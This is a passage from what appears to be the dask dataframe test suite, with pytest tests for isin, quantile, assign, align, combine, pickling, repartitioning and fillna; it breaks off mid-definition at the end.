ddf.x.unique(split_every=2)._name != ddf.x.unique()._name def test_isin(): f_list = [1, 2, 3] f_series = pd.Series(f_list) f_dict = {"a": [0, 3], "b": [1, 2]} # Series assert_eq(d.a.isin(f_list), full.a.isin(f_list)) assert_eq(d.a.isin(f_series), full.a.isin(f_series)) with pytest.raises(NotImplementedError): d.a.isin(d.a) # Index da.utils.assert_eq(d.index.isin(f_list), full.index.isin(f_list)) da.utils.assert_eq(d.index.isin(f_series), full.index.isin(f_series)) with pytest.raises(NotImplementedError): d.a.isin(d.a) # DataFrame test assert_eq(d.isin(f_list), full.isin(f_list)) assert_eq(d.isin(f_dict), full.isin(f_dict)) for obj in [d, f_series, full]: with pytest.raises(NotImplementedError): d.isin(obj) def test_contains_frame(): df = dd.from_pandas(pd.DataFrame({"A": [1, 2], 0: [3, 4]}), 1) assert "A" in df assert 0 in df assert "B" not in df assert 1 not in df def test_len(): assert len(d) == len(full) assert len(d.a) == len(full.a) assert len(dd.from_pandas(pd.DataFrame(), npartitions=1)) == 0 assert len(dd.from_pandas(pd.DataFrame(columns=[1, 2]), npartitions=1)) == 0 # Regression test for https://github.com/dask/dask/issues/6110 assert len(dd.from_pandas(pd.DataFrame(columns=["foo", "foo"]), npartitions=1)) == 0 def test_size(): assert_eq(d.size, full.size) assert_eq(d.a.size, full.a.size) assert_eq(d.index.size, full.index.size) def test_shape(): result = d.shape assert_eq((result[0].compute(), result[1]), (len(full), len(full.columns))) assert_eq(dd.compute(result)[0], (len(full), len(full.columns))) result = d.a.shape assert_eq(result[0].compute(), len(full.a)) assert_eq(dd.compute(result)[0], (len(full.a),)) sh = dd.from_pandas(pd.DataFrame(index=[1, 2, 3]), npartitions=2).shape assert (sh[0].compute(), sh[1]) == (3, 0) sh = dd.from_pandas(pd.DataFrame({"a": [], "b": []}, index=[]), npartitions=1).shape assert (sh[0].compute(), sh[1]) == (0, 2) def test_nbytes(): assert_eq(d.a.nbytes, full.a.nbytes) assert_eq(d.index.nbytes, full.index.nbytes) @pytest.mark.parametrize( "method,expected", [("tdigest", (0.35, 3.80, 2.5, 6.5, 2.0)), ("dask", (0.0, 4.0, 1.2, 6.2, 2.0))], ) def test_quantile(method, expected): if method == "tdigest": pytest.importorskip("crick") # series / multiple result = d.b.quantile([0.3, 0.7], method=method) exp = full.b.quantile([0.3, 0.7]) # result may different assert len(result) == 2 assert result.divisions == (0.3, 0.7) assert_eq(result.index, exp.index) assert isinstance(result, dd.Series) result = result.compute() assert isinstance(result, pd.Series) assert result.iloc[0] == pytest.approx(expected[0]) assert result.iloc[1] == pytest.approx(expected[1]) # index s = pd.Series(np.arange(10), index=np.arange(10)) ds = dd.from_pandas(s, 2) result = ds.index.quantile([0.3, 0.7], method=method) exp = s.quantile([0.3, 0.7]) assert len(result) == 2 assert result.divisions == (0.3, 0.7) assert_eq(result.index, exp.index) assert isinstance(result, dd.Series) result = result.compute() assert isinstance(result, pd.Series) assert result.iloc[0] == pytest.approx(expected[2]) assert result.iloc[1] == pytest.approx(expected[3]) # series / single result = d.b.quantile(0.5, method=method) assert isinstance(result, dd.core.Scalar) result = result.compute() assert result == expected[4] @pytest.mark.parametrize("method", ["tdigest", "dask"]) def test_quantile_missing(method): if method == "tdigest": pytest.importorskip("crick") df = pd.DataFrame({"A": [0, np.nan, 2]}) ddf = dd.from_pandas(df, 2) expected = df.quantile() result = ddf.quantile(method=method) assert_eq(result, expected) expected = df.A.quantile() result = ddf.A.quantile(method=method) assert_eq(result, expected) @pytest.mark.parametrize("method", ["tdigest", "dask"]) def test_empty_quantile(method): if method == "tdigest": pytest.importorskip("crick") result = d.b.quantile([], method=method) exp = full.b.quantile([]) assert result.divisions == (None, None) assert result.name == "b" assert result.compute().name == "b" assert_eq(result, exp) @pytest.mark.parametrize( "method,expected", [ ( "tdigest", ( pd.Series([9.5, 29.5, 19.5], index=["A", "X", "B"]), pd.DataFrame( [[4.5, 24.5, 14.5], [14.5, 34.5, 24.5]], index=[0.25, 0.75], columns=["A", "X", "B"], ), ), ), ( "dask", ( pd.Series([7.0, 27.0, 17.0], index=["A", "X", "B"]), pd.DataFrame( [[1.50, 21.50, 11.50], [14.0, 34.0, 24.0]], index=[0.25, 0.75], columns=["A", "X", "B"], ), ), ), ], ) def test_dataframe_quantile(method, expected): if method == "tdigest": pytest.importorskip("crick") # column X is for test column order and result division df = pd.DataFrame( { "A": np.arange(20), "X": np.arange(20, 40), "B": np.arange(10, 30), "C": ["a", "b", "c", "d"] * 5, }, columns=["A", "X", "B", "C"], ) ddf = dd.from_pandas(df, 3) result = ddf.quantile(method=method) assert result.npartitions == 1 assert result.divisions == ("A", "X") result = result.compute() assert isinstance(result, pd.Series) assert result.name == 0.5 tm.assert_index_equal(result.index, pd.Index(["A", "X", "B"])) assert (result == expected[0]).all() result = ddf.quantile([0.25, 0.75], method=method) assert result.npartitions == 1 assert result.divisions == (0.25, 0.75) result = result.compute() assert isinstance(result, pd.DataFrame) tm.assert_index_equal(result.index, pd.Index([0.25, 0.75])) tm.assert_index_equal(result.columns, pd.Index(["A", "X", "B"])) assert (result == expected[1]).all().all() assert_eq(ddf.quantile(axis=1, method=method), df.quantile(axis=1)) pytest.raises(ValueError, lambda: ddf.quantile([0.25, 0.75], axis=1, method=method)) def test_quantile_for_possibly_unsorted_q(): """check that quantile is giving correct answers even when quantile parameter, q, may be unsorted. See https://github.com/dask/dask/issues/4642. """ # prepare test case where percentiles should equal values A = da.arange(0, 101) ds = dd.from_dask_array(A) for q in [ [0.25, 0.50, 0.75], [0.25, 0.50, 0.75, 0.99], [0.75, 0.5, 0.25], [0.25, 0.99, 0.75, 0.50], ]: r = ds.quantile(q).compute() assert_eq(r.loc[0.25], 25.0) assert_eq(r.loc[0.50], 50.0) assert_eq(r.loc[0.75], 75.0) r = ds.quantile([0.25]).compute() assert_eq(r.loc[0.25], 25.0) r = ds.quantile(0.25).compute() assert_eq(r, 25.0) def test_quantile_tiny_partitions(): """See https://github.com/dask/dask/issues/6551""" df = pd.DataFrame({"a": [1, 2, 3]}) ddf = dd.from_pandas(df, npartitions=3) r = ddf["a"].quantile(0.5).compute() assert r == 2 def test_quantile_trivial_partitions(): """See https://github.com/dask/dask/issues/2792""" df = pd.DataFrame({"A": []}) ddf = dd.from_pandas(df, npartitions=2) expected = df.quantile(0.5) assert_eq(ddf.quantile(0.5), expected) df = pd.DataFrame({"A": [np.nan, np.nan, np.nan, np.nan]}) ddf = dd.from_pandas(df, npartitions=2) expected = df.quantile(0.5) assert_eq(ddf.quantile(0.5), expected) def test_index(): assert_eq(d.index, full.index) def test_assign(): df = pd.DataFrame( {"a": range(8), "b": [float(i) for i in range(10, 18)]}, index=pd.Index(list("abcdefgh")), ) ddf = dd.from_pandas(df, npartitions=3) ddf_unknown = dd.from_pandas(df, npartitions=3, sort=False) assert not ddf_unknown.known_divisions res = ddf.assign( c=1, d="string", e=ddf.a.sum(), f=ddf.a + ddf.b, g=lambda x: x.a + x.c, dt=pd.Timestamp(2018, 2, 13), ) res_unknown = ddf_unknown.assign( c=1, d="string", e=ddf_unknown.a.sum(), f=ddf_unknown.a + ddf_unknown.b, g=lambda x: x.a + x.c, dt=pd.Timestamp(2018, 2, 13), ) sol = df.assign( c=1, d="string", e=df.a.sum(), f=df.a + df.b, g=lambda x: x.a + x.c, dt=pd.Timestamp(2018, 2, 13), ) assert_eq(res, sol) assert_eq(res_unknown, sol) res = ddf.assign(c=df.a + 1) assert_eq(res, df.assign(c=df.a + 1)) res = ddf.assign(c=ddf.index) assert_eq(res, df.assign(c=df.index)) # divisions unknown won't work with pandas with pytest.raises(ValueError): ddf_unknown.assign(c=df.a + 1) # unsupported type with pytest.raises(TypeError): ddf.assign(c=list(range(9))) # Fails when assigning known divisions to unknown divisions with pytest.raises(ValueError): ddf_unknown.assign(foo=ddf.a) # Fails when assigning unknown divisions to known divisions with pytest.raises(ValueError): ddf.assign(foo=ddf_unknown.a) df = pd.DataFrame({"A": [1, 2]}) df.assign(B=lambda df: df["A"], C=lambda df: df.A + df.B) ddf = dd.from_pandas(pd.DataFrame({"A": [1, 2]}), npartitions=2) ddf.assign(B=lambda df: df["A"], C=lambda df: df.A + df.B) assert_eq(df, ddf) def test_assign_callable(): df = dd.from_pandas(pd.DataFrame({"A": range(10)}), npartitions=2) a = df.assign(B=df.A.shift()) b = df.assign(B=lambda x: x.A.shift()) assert_eq(a, b) def test_assign_dtypes(): ddf = dd.from_pandas( pd.DataFrame( data={"col1": ["a", "b"], "col2": [1, 2]}, columns=["col1", "col2"] ), npartitions=2, ) new_col = {"col3": pd.Series(["0", "1"])} res = ddf.assign(**new_col) assert_eq( res.dtypes, pd.Series(data=["object", "int64", "object"], index=["col1", "col2", "col3"]), ) def test_map(): df = pd.DataFrame( {"a": range(9), "b": [4, 5, 6, 1, 2, 3, 0, 0, 0]}, index=pd.Index([0, 1, 3, 5, 6, 8, 9, 9, 9], name="myindex"), ) ddf = dd.from_pandas(df, npartitions=3) assert_eq(ddf.a.map(lambda x: x + 1), df.a.map(lambda x: x + 1)) lk = {v: v + 1 for v in df.a.values} assert_eq(ddf.a.map(lk), df.a.map(lk)) assert_eq(ddf.b.map(lk), df.b.map(lk)) lk = pd.Series(lk) assert_eq(ddf.a.map(lk), df.a.map(lk)) assert_eq(ddf.b.map(lk), df.b.map(lk)) assert_eq(ddf.b.map(lk, meta=ddf.b), df.b.map(lk)) assert_eq(ddf.b.map(lk, meta=("b", "i8")), df.b.map(lk)) def test_concat(): x = _concat([pd.DataFrame(columns=["a", "b"]), pd.DataFrame(columns=["a", "b"])]) assert list(x.columns) == ["a", "b"] assert len(x) == 0 def test_args(): e = d.assign(c=d.a + 1) f = type(e)(*e._args) assert_eq(e, f) assert_eq(d.a, type(d.a)(*d.a._args)) assert_eq(d.a.sum(), type(d.a.sum())(*d.a.sum()._args)) def test_known_divisions(): assert d.known_divisions df = dd.DataFrame(dsk, "x", meta, divisions=[None, None, None]) assert not df.known_divisions def test_unknown_divisions(): dsk = { ("x", 0): pd.DataFrame({"a": [1, 2, 3], "b": [4, 5, 6]}), ("x", 1): pd.DataFrame({"a": [4, 5, 6], "b": [3, 2, 1]}), ("x", 2): pd.DataFrame({"a": [7, 8, 9], "b": [0, 0, 0]}), } meta = make_meta({"a": "i8", "b": "i8"}, parent_meta=pd.DataFrame()) d = dd.DataFrame(dsk, "x", meta, [None, None, None, None]) full = d.compute(scheduler="sync") assert_eq(d.a.sum(), full.a.sum()) assert_eq(d.a + d.b + 1, full.a + full.b + 1) def test_with_min_count(): dfs = [ pd.DataFrame([[None, 2, 3], [None, 5, 6], [5, 4, 9]]), pd.DataFrame([[2, None, None], [None, 5, 6], [5, 4, 9]]), ] ddfs = [dd.from_pandas(df, npartitions=4) for df in dfs] axes = [0, 1] for df, ddf in zip(dfs, ddfs): for axis in axes: for min_count in [0, 1, 2, 3]: assert_eq( df.sum(min_count=min_count, axis=axis), ddf.sum(min_count=min_count, axis=axis), ) assert_eq( df.prod(min_count=min_count, axis=axis), ddf.prod(min_count=min_count, axis=axis), ) @pytest.mark.parametrize("join", ["inner", "outer", "left", "right"]) def test_align(join): df1a = pd.DataFrame( {"A": np.random.randn(10), "B": np.random.randn(10)}, index=[1, 12, 5, 6, 3, 9, 10, 4, 13, 11], ) df1b = pd.DataFrame( {"A": np.random.randn(10), "B": np.random.randn(10)}, index=[0, 3, 2, 10, 5, 6, 7, 8, 12, 13], ) ddf1a = dd.from_pandas(df1a, 3) ddf1b = dd.from_pandas(df1b, 3) # DataFrame res1, res2 = ddf1a.align(ddf1b, join=join) exp1, exp2 = df1a.align(df1b, join=join) assert assert_eq(res1, exp1) assert assert_eq(res2, exp2) # Series res1, res2 = ddf1a["A"].align(ddf1b["B"], join=join) exp1, exp2 = df1a["A"].align(df1b["B"], join=join) assert assert_eq(res1, exp1) assert assert_eq(res2, exp2) # DataFrame with fill_value res1, res2 = ddf1a.align(ddf1b, join=join, fill_value=1) exp1, exp2 = df1a.align(df1b, join=join, fill_value=1) assert assert_eq(res1, exp1) assert assert_eq(res2, exp2) # Series res1, res2 = ddf1a["A"].align(ddf1b["B"], join=join, fill_value=1) exp1, exp2 = df1a["A"].align(df1b["B"], join=join, fill_value=1) assert assert_eq(res1, exp1) assert assert_eq(res2, exp2) @pytest.mark.parametrize("join", ["inner", "outer", "left", "right"]) def test_align_axis(join): df1a = pd.DataFrame( {"A": np.random.randn(10), "B": np.random.randn(10), "C": np.random.randn(10)}, index=[1, 12, 5, 6, 3, 9, 10, 4, 13, 11], ) df1b = pd.DataFrame( {"B": np.random.randn(10), "C": np.random.randn(10), "D": np.random.randn(10)}, index=[0, 3, 2, 10, 5, 6, 7, 8, 12, 13], ) ddf1a = dd.from_pandas(df1a, 3) ddf1b = dd.from_pandas(df1b, 3) res1, res2 = ddf1a.align(ddf1b, join=join, axis=0) exp1, exp2 = df1a.align(df1b, join=join, axis=0) assert assert_eq(res1, exp1) assert assert_eq(res2, exp2) res1, res2 = ddf1a.align(ddf1b, join=join, axis=1) exp1, exp2 = df1a.align(df1b, join=join, axis=1) assert assert_eq(res1, exp1) assert assert_eq(res2, exp2) res1, res2 = ddf1a.align(ddf1b, join=join, axis="index") exp1, exp2 = df1a.align(df1b, join=join, axis="index") assert assert_eq(res1, exp1) assert assert_eq(res2, exp2) res1, res2 = ddf1a.align(ddf1b, join=join, axis="columns") exp1, exp2 = df1a.align(df1b, join=join, axis="columns") assert assert_eq(res1, exp1) assert assert_eq(res2, exp2) # invalid with pytest.raises(ValueError): ddf1a.align(ddf1b, join=join, axis="XXX") with pytest.raises(ValueError): ddf1a["A"].align(ddf1b["B"], join=join, axis=1) def test_combine(): df1 = pd.DataFrame( { "A": np.random.choice([1, 2, np.nan], 100), "B": np.random.choice(["a", "b", "nan"], 100), } ) df2 = pd.DataFrame( { "A": np.random.choice([1, 2, 3], 100), "B": np.random.choice(["a", "b", "c"], 100), } ) ddf1 = dd.from_pandas(df1, 4) ddf2 = dd.from_pandas(df2, 5) first = lambda a, b: a # You can add series with strings and nans but you can't add scalars 'a' + np.NaN str_add = lambda a, b: a + b if a is not np.nan else a # DataFrame for dda, ddb, a, b, runs in [ (ddf1, ddf2, df1, df2, [(add, None), (first, None)]), (ddf1.A, ddf2.A, df1.A, df2.A, [(add, None), (add, 100), (first, None)]), ( ddf1.B, ddf2.B, df1.B, df2.B, [(str_add, None), (str_add, "d"), (first, None)], ), ]: for func, fill_value in runs: sol = a.combine(b, func, fill_value=fill_value) assert_eq(dda.combine(ddb, func, fill_value=fill_value), sol) assert_eq(dda.combine(b, func, fill_value=fill_value), sol) assert_eq( ddf1.combine(ddf2, add, overwrite=False), df1.combine(df2, add, overwrite=False) ) assert dda.combine(ddb, add)._name == dda.combine(ddb, add)._name def test_combine_first(): df1 = pd.DataFrame( { "A": np.random.choice([1, 2, np.nan], 100), "B": np.random.choice(["a", "b", "nan"], 100), } ) df2 = pd.DataFrame( { "A": np.random.choice([1, 2, 3], 100), "B": np.random.choice(["a", "b", "c"], 100), } ) ddf1 = dd.from_pandas(df1, 4) ddf2 = dd.from_pandas(df2, 5) # DataFrame assert_eq(ddf1.combine_first(ddf2), df1.combine_first(df2)) assert_eq(ddf1.combine_first(df2), df1.combine_first(df2)) # Series assert_eq(ddf1.A.combine_first(ddf2.A), df1.A.combine_first(df2.A)) assert_eq(ddf1.A.combine_first(df2.A), df1.A.combine_first(df2.A)) assert_eq(ddf1.B.combine_first(ddf2.B), df1.B.combine_first(df2.B)) assert_eq(ddf1.B.combine_first(df2.B), df1.B.combine_first(df2.B)) def test_dataframe_picklable(): from pickle import dumps, loads from cloudpickle import dumps as cp_dumps from cloudpickle import loads as cp_loads d = _compat.makeTimeDataFrame() df = dd.from_pandas(d, npartitions=3) df = df + 2 # dataframe df2 = loads(dumps(df)) assert_eq(df, df2) df2 = cp_loads(cp_dumps(df)) assert_eq(df, df2) # series a2 = loads(dumps(df.A)) assert_eq(df.A, a2) a2 = cp_loads(cp_dumps(df.A)) assert_eq(df.A, a2) # index i2 = loads(dumps(df.index)) assert_eq(df.index, i2) i2 = cp_loads(cp_dumps(df.index)) assert_eq(df.index, i2) # scalar # lambdas are present, so only test cloudpickle s = df.A.sum() s2 = cp_loads(cp_dumps(s)) assert_eq(s, s2) def test_random_partitions(): a, b = d.random_split([0.5, 0.5], 42) assert isinstance(a, dd.DataFrame) assert isinstance(b, dd.DataFrame) assert a._name != b._name np.testing.assert_array_equal(a.index, sorted(a.index)) assert len(a.compute()) + len(b.compute()) == len(full) a2, b2 = d.random_split([0.5, 0.5], 42) assert a2._name == a._name assert b2._name == b._name a, b = d.random_split([0.5, 0.5], 42, True) a2, b2 = d.random_split([0.5, 0.5], 42, True) assert_eq(a, a2) assert_eq(b, b2) with pytest.raises(AssertionError): np.testing.assert_array_equal(a.index, sorted(a.index)) parts = d.random_split([0.4, 0.5, 0.1], 42) names = {p._name for p in parts} names.update([a._name, b._name]) assert len(names) == 5 with pytest.raises(ValueError): d.random_split([0.4, 0.5], 42) def test_series_round(): ps = pd.Series([1.123, 2.123, 3.123, 1.234, 2.234, 3.234], name="a") s = dd.from_pandas(ps, npartitions=3) assert_eq(s.round(), ps.round()) @pytest.mark.slow def test_repartition(): def _check_split_data(orig, d): """Check data is split properly""" keys = [k for k in d.dask if k[0].startswith("repartition-split")] keys = sorted(keys) sp = pd.concat( [compute_as_if_collection(dd.DataFrame, d.dask, k) for k in keys] ) assert_eq(orig, sp) assert_eq(orig, d) df = pd.DataFrame( {"x": [1, 2, 3, 4, 5, 6], "y": list("abdabd")}, index=[10, 20, 30, 40, 50, 60] ) a = dd.from_pandas(df, 2) b = a.repartition(divisions=[10, 20, 50, 60]) assert b.divisions == (10, 20, 50, 60) assert_eq(a, b) assert_eq(compute_as_if_collection(dd.DataFrame, b.dask, (b._name, 0)), df.iloc[:1]) for div in [ [20, 60], [10, 50], [1], # first / last element mismatch [0, 60], [10, 70], # do not allow to expand divisions by default [10, 50, 20, 60], # not sorted [10, 10, 20, 60], ]: # not unique (last element can be duplicated) pytest.raises(ValueError, lambda: a.repartition(divisions=div)) pdf = pd.DataFrame(np.random.randn(7, 5), columns=list("abxyz")) for p in range(1, 7): ddf = dd.from_pandas(pdf, p) assert_eq(ddf, pdf) for div in [ [0, 6], [0, 6, 6], [0, 5, 6], [0, 4, 6, 6], [0, 2, 6], [0, 2, 6, 6], [0, 2, 3, 6, 6], [0, 1, 2, 3, 4, 5, 6, 6], ]: rddf = ddf.repartition(divisions=div) _check_split_data(ddf, rddf) assert rddf.divisions == tuple(div) assert_eq(pdf, rddf) rds = ddf.x.repartition(divisions=div) _check_split_data(ddf.x, rds) assert rds.divisions == tuple(div) assert_eq(pdf.x, rds) # expand divisions for div in [[-5, 10], [-2, 3, 5, 6], [0, 4, 5, 9, 10]]: rddf = ddf.repartition(divisions=div, force=True) _check_split_data(ddf, rddf) assert rddf.divisions == tuple(div) assert_eq(pdf, rddf) rds = ddf.x.repartition(divisions=div, force=True) _check_split_data(ddf.x, rds) assert rds.divisions == tuple(div) assert_eq(pdf.x, rds) pdf = pd.DataFrame( {"x": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9], "y": [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]}, index=list("abcdefghij"), ) for p in range(1, 7): ddf = dd.from_pandas(pdf, p) assert_eq(ddf, pdf) for div in [ list("aj"), list("ajj"), list("adj"), list("abfj"), list("ahjj"), list("acdj"), list("adfij"), list("abdefgij"), list("abcdefghij"), ]: rddf = ddf.repartition(divisions=div) _check_split_data(ddf, rddf) assert rddf.divisions == tuple(div) assert_eq(pdf, rddf) rds = ddf.x.repartition(divisions=div) _check_split_data(ddf.x, rds) assert rds.divisions == tuple(div) assert_eq(pdf.x, rds) # expand divisions for div in [list("Yadijm"), list("acmrxz"), list("Yajz")]: rddf = ddf.repartition(divisions=div, force=True) _check_split_data(ddf, rddf) assert rddf.divisions == tuple(div) assert_eq(pdf, rddf) rds = ddf.x.repartition(divisions=div, force=True) _check_split_data(ddf.x, rds) assert rds.divisions == tuple(div) assert_eq(pdf.x, rds) def test_repartition_divisions(): result = repartition_divisions([0, 6], [0, 6, 6], "a", "b", "c") assert result == { ("b", 0): (methods.boundary_slice, ("a", 0), 0, 6, False), ("b", 1): (methods.boundary_slice, ("a", 0), 6, 6, True), ("c", 0): ("b", 0), ("c", 1): ("b", 1), } result = repartition_divisions([1, 3, 7], [1, 4, 6, 7], "a", "b", "c") assert result == { ("b", 0): (methods.boundary_slice, ("a", 0), 1, 3, False), ("b", 1): (methods.boundary_slice, ("a", 1), 3, 4, False), ("b", 2): (methods.boundary_slice, ("a", 1), 4, 6, False), ("b", 3): (methods.boundary_slice, ("a", 1), 6, 7, True), ("c", 0): (methods.concat, [("b", 0), ("b", 1)]), ("c", 1): ("b", 2), ("c", 2): ("b", 3), } def test_repartition_on_pandas_dataframe(): df = pd.DataFrame( {"x": [1, 2, 3, 4, 5, 6], "y": list("abdabd")}, index=[10, 20, 30, 40, 50, 60] ) ddf = dd.repartition(df, divisions=[10, 20, 50, 60]) assert isinstance(ddf, dd.DataFrame) assert ddf.divisions == (10, 20, 50, 60) assert_eq(ddf, df) ddf = dd.repartition(df.y, divisions=[10, 20, 50, 60]) assert isinstance(ddf, dd.Series) assert ddf.divisions == (10, 20, 50, 60) assert_eq(ddf, df.y) @pytest.mark.parametrize("use_index", [True, False]) @pytest.mark.parametrize("n", [1, 2, 4, 5]) @pytest.mark.parametrize("k", [1, 2, 4, 5]) @pytest.mark.parametrize("dtype", [float, "M8[ns]"]) @pytest.mark.parametrize("transform", [lambda df: df, lambda df: df.x]) def test_repartition_npartitions(use_index, n, k, dtype, transform): df = pd.DataFrame( {"x": [1, 2, 3, 4, 5, 6] * 10, "y": list("abdabd") * 10}, index=pd.Series([1, 2, 3, 4, 5, 6] * 10, dtype=dtype), ) df = transform(df) a = dd.from_pandas(df, npartitions=n, sort=use_index) b = a.repartition(k) assert_eq(a, b) assert b.npartitions == k parts = dask.get(b.dask, b.__dask_keys__()) assert all(map(len, parts)) @pytest.mark.parametrize("use_index", [True, False]) @pytest.mark.parametrize("n", [2, 5]) @pytest.mark.parametrize("partition_size", ["1kiB", 379]) @pytest.mark.parametrize("transform", [lambda df: df, lambda df: df.x]) def test_repartition_partition_size(use_index, n, partition_size, transform): df = pd.DataFrame( {"x": [1, 2, 3, 4, 5, 6] * 10, "y": list("abdabd") * 10}, index=pd.Series([10, 20, 30, 40, 50, 60] * 10), ) df = transform(df) a = dd.from_pandas(df, npartitions=n, sort=use_index) b = a.repartition(partition_size=partition_size) assert_eq(a, b, check_divisions=False) assert np.alltrue(b.map_partitions(total_mem_usage, deep=True).compute() <= 1024) parts = dask.get(b.dask, b.__dask_keys__()) assert all(map(len, parts)) def test_repartition_partition_size_arg(): df = pd.DataFrame({"x": range(10)}) a = dd.from_pandas(df, npartitions=2) b = a.repartition("1 MiB") assert b.npartitions == 1 def test_repartition_npartitions_same_limits(): df = pd.DataFrame( {"x": [1, 2, 3]}, index=[ pd.Timestamp("2017-05-09 00:00:00.006000"), pd.Timestamp("2017-05-09 02:45:00.017999"), pd.Timestamp("2017-05-09 05:59:58.938999"), ], ) ddf = dd.from_pandas(df, npartitions=2) ddf.repartition(npartitions=10) def test_repartition_npartitions_numeric_edge_case(): """ Test that we cover numeric edge cases when int(ddf.npartitions / npartitions) * npartitions) != ddf.npartitions """ df = pd.DataFrame({"x": range(100)}) a = dd.from_pandas(df, npartitions=15) assert a.npartitions == 15 b = a.repartition(npartitions=11) assert_eq(a, b) def test_repartition_object_index(): df = pd.DataFrame({"x": [1, 2, 3, 4, 5, 6] * 10}, index=list("abdabd") * 10) a = dd.from_pandas(df, npartitions=5) b = a.repartition(npartitions=2) assert b.npartitions == 2 assert_eq(b, df) b = a.repartition(npartitions=10) assert b.npartitions == 10 assert_eq(b, df) assert not b.known_divisions @pytest.mark.slow @pytest.mark.parametrize("npartitions", [1, 20, 243]) @pytest.mark.parametrize("freq", ["1D", "7D", "28h", "1h"]) @pytest.mark.parametrize( "end", ["2000-04-15", "2000-04-15 12:37:01", "2000-01-01 12:37:00"] ) @pytest.mark.parametrize( "start", ["2000-01-01", "2000-01-01 12:30:00", "2000-01-01 12:30:00"] ) def test_repartition_freq(npartitions, freq, start, end): start = pd.Timestamp(start) end = pd.Timestamp(end) ind = pd.date_range(start=start, end=end, freq="60s") df = pd.DataFrame({"x": np.arange(len(ind))}, index=ind) ddf = dd.from_pandas(df, npartitions=npartitions, name="x") ddf2 = ddf.repartition(freq=freq) assert_eq(ddf2, df) def test_repartition_freq_divisions(): df = pd.DataFrame( {"x": np.random.random(10)}, index=pd.DatetimeIndex(np.random.random(10) * 100e9), ) ddf = dd.from_pandas(df, npartitions=3) ddf2 = ddf.repartition(freq="15s") for div in ddf2.divisions[1:-1]: assert div == div.round("15s") assert ddf2.divisions[0] == df.index.min() assert ddf2.divisions[-1] == df.index.max() assert_eq(ddf2, df) def test_repartition_freq_errors(): df = pd.DataFrame({"x": [1, 2, 3]}) ddf = dd.from_pandas(df, npartitions=1) with pytest.raises(TypeError) as info: ddf.repartition(freq="1s") assert "only" in str(info.value) assert "timeseries" in str(info.value) def test_repartition_freq_month(): ts = pd.date_range("2015-01-01 00:00", "2015-05-01 23:50", freq="10min") df = pd.DataFrame( np.random.randint(0, 100, size=(len(ts), 4)), columns=list("ABCD"), index=ts ) ddf = dd.from_pandas(df, npartitions=1).repartition(freq="MS") assert_eq(df, ddf) assert ddf.divisions == ( pd.Timestamp("2015-1-1 00:00:00"), pd.Timestamp("2015-2-1 00:00:00"), pd.Timestamp("2015-3-1 00:00:00"), pd.Timestamp("2015-4-1 00:00:00"), pd.Timestamp("2015-5-1 00:00:00"), pd.Timestamp("2015-5-1 23:50:00"), ) assert ddf.npartitions == 5 def test_repartition_freq_day(): index = [ pd.Timestamp("2020-1-1"), pd.Timestamp("2020-1-1"), pd.Timestamp("2020-1-2"), pd.Timestamp("2020-1-2"), ] pdf = pd.DataFrame(index=index, data={"foo": "foo"}) ddf = dd.from_pandas(pdf, npartitions=1).repartition(freq="D") assert_eq(ddf, pdf) assert ddf.npartitions == 2 assert ddf.divisions == ( pd.Timestamp("2020-1-1"), pd.Timestamp("2020-1-2"), pd.Timestamp("2020-1-2"), ) @pytest.mark.parametrize( "freq, expected_freq", [ ("M", "MS"), ("MS", "MS"), ("2M", "2MS"), ("Q", "QS"), ("Q-FEB", "QS-FEB"), ("2Q", "2QS"), ("2Q-FEB", "2QS-FEB"), ("2QS-FEB", "2QS-FEB"), ("BQ", "BQS"), ("2BQ", "2BQS"), ("SM", "SMS"), ("A", "AS"), ("A-JUN", "AS-JUN"), ("BA", "BAS"), ("2BA", "2BAS"), ("BY", "BAS"), ("Y", "AS"), (pd.Timedelta(seconds=1), pd.Timedelta(seconds=1)), ], ) def test_map_freq_to_period_start(freq, expected_freq): new_freq = _map_freq_to_period_start(freq) assert new_freq == expected_freq def test_repartition_input_errors(): df = pd.DataFrame({"x": [1, 2, 3]}) ddf = dd.from_pandas(df, npartitions=1) with pytest.raises(ValueError): ddf.repartition(npartitions=5, divisions=[None, None]) with pytest.raises(ValueError): ddf.repartition(npartitions=5, partition_size="5MiB") def test_embarrassingly_parallel_operations(): df = pd.DataFrame( {"x": [1, 2, 3, 4, None, 6], "y": list("abdabd")}, index=[10, 20, 30, 40, 50, 60], ) a = dd.from_pandas(df, 2) assert_eq(a.x.astype("float32"), df.x.astype("float32")) assert a.x.astype("float32").compute().dtype == "float32" assert_eq(a.x.dropna(), df.x.dropna()) assert_eq(a.x.between(2, 4), df.x.between(2, 4)) assert_eq(a.x.clip(2, 4), df.x.clip(2, 4)) assert_eq(a.x.notnull(), df.x.notnull()) assert_eq(a.x.isnull(), df.x.isnull()) assert_eq(a.notnull(), df.notnull()) assert_eq(a.isnull(), df.isnull()) assert len(a.sample(frac=0.5).compute()) < len(df) def test_fillna(): df = _compat.makeMissingDataframe() ddf = dd.from_pandas(df, npartitions=5, sort=False) assert_eq(ddf.fillna(100), df.fillna(100)) assert_eq(ddf.A.fillna(100), df.A.fillna(100)) assert_eq(ddf.A.fillna(ddf["A"].mean()), df.A.fillna(df["A"].mean())) assert_eq(ddf.fillna(method="pad"), df.fillna(method="pad")) assert_eq(ddf.A.fillna(method="pad"), df.A.fillna(method="pad")) assert_eq(ddf.fillna(method="bfill"), df.fillna(method="bfill")) assert_eq(ddf.A.fillna(method="bfill"), df.A.fillna(method="bfill")) assert_eq(ddf.fillna(method="pad", limit=2), df.fillna(method="pad", limit=2)) assert_eq(ddf.A.fillna(method="pad", limit=2), df.A.fillna(method="pad", limit=2)) assert_eq(ddf.fillna(method="bfill", limit=2), df.fillna(method="bfill", limit=2)) assert_eq( ddf.A.fillna(method="bfill", limit=2), df.A.fillna(method="bfill", limit=2) ) assert_eq(ddf.fillna(100, axis=1), df.fillna(100, axis=1)) assert_eq(ddf.fillna(method="pad", axis=1), df.fillna(method="pad", axis=1)) assert_eq( ddf.fillna(method="pad", limit=2, axis=1), df.fillna(method="pad", limit=2, axis=1), ) pytest.raises(ValueError, lambda: ddf.A.fillna(0, axis=1)) pytest.raises(NotImplementedError, lambda: ddf.fillna(0, limit=10)) pytest.raises(NotImplementedError, lambda: ddf.fillna(0, limit=10, axis=1)) df = _compat.makeMissingDataframe() df.iloc[:15, 0] = np.nan # all NaN partition ddf = dd.from_pandas(df, npartitions=5, sort=False) pytest.raises(ValueError, lambda: ddf.fillna(method="pad").compute()) assert_eq(df.fillna(method="pad", limit=3), ddf.fillna(method="pad", limit=3)) @pytest.mark.parametrize("optimize", [True, False]) def 